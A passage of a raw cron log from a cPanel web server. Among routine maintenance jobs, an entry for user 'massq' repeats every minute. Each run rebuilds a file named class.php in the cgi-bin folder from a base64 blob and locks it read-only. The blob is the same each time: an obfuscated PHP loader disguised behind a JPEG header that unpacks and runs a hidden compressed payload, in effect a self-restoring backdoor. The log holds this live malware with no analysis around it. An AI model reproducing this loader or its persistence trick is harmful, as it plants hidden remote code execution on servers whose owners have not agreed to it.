tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:24:01 server CROND[9797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:24:01 server CROND[9798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:24:01 server CROND[9799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:25:01 server CROND[10180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:25:01 server CROND[10183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:25:01 server CROND[10194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:25:01 server CROND[10196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:25:01 server CROND[10195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:25:01 server CROND[10199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:25:01 server CROND[10197]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 06:25:01 server CROND[10200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:26:01 server CROND[11026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:26:01 server CROND[11027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:26:01 server CROND[11028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:27:01 server CROND[11458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:27:01 server CROND[11459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:27:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:27:01 server CROND[11461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:28:01 server CROND[11843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:28:01 server CROND[11844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:28:01 server CROND[11845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:29:01 server CROND[12295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:29:01 server CROND[12296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:29:01 server CROND[12297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:30:01 server CROND[12728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:30:01 server CROND[12729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:30:01 server CROND[12734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:30:01 server CROND[12736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:30:01 server CROND[12737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:30:01 server CROND[12735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:30:01 server CROND[12738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:30:01 server CROND[12739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:31:01 server CROND[13571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:31:01 server CROND[13572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:31:01 server CROND[13573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:32:01 server CROND[13961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:32:01 server CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:32:01 server CROND[13962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:33:01 server CROND[14344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:33:01 server CROND[14343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:33:01 server CROND[14342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:34:01 server CROND[14714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:34:01 server CROND[14715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:34:01 server CROND[14716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:35:01 server CROND[15196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:35:01 server CROND[15198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:35:01 server CROND[15200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:35:01 server CROND[15203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:35:01 server CROND[15205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:35:01 server CROND[15206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
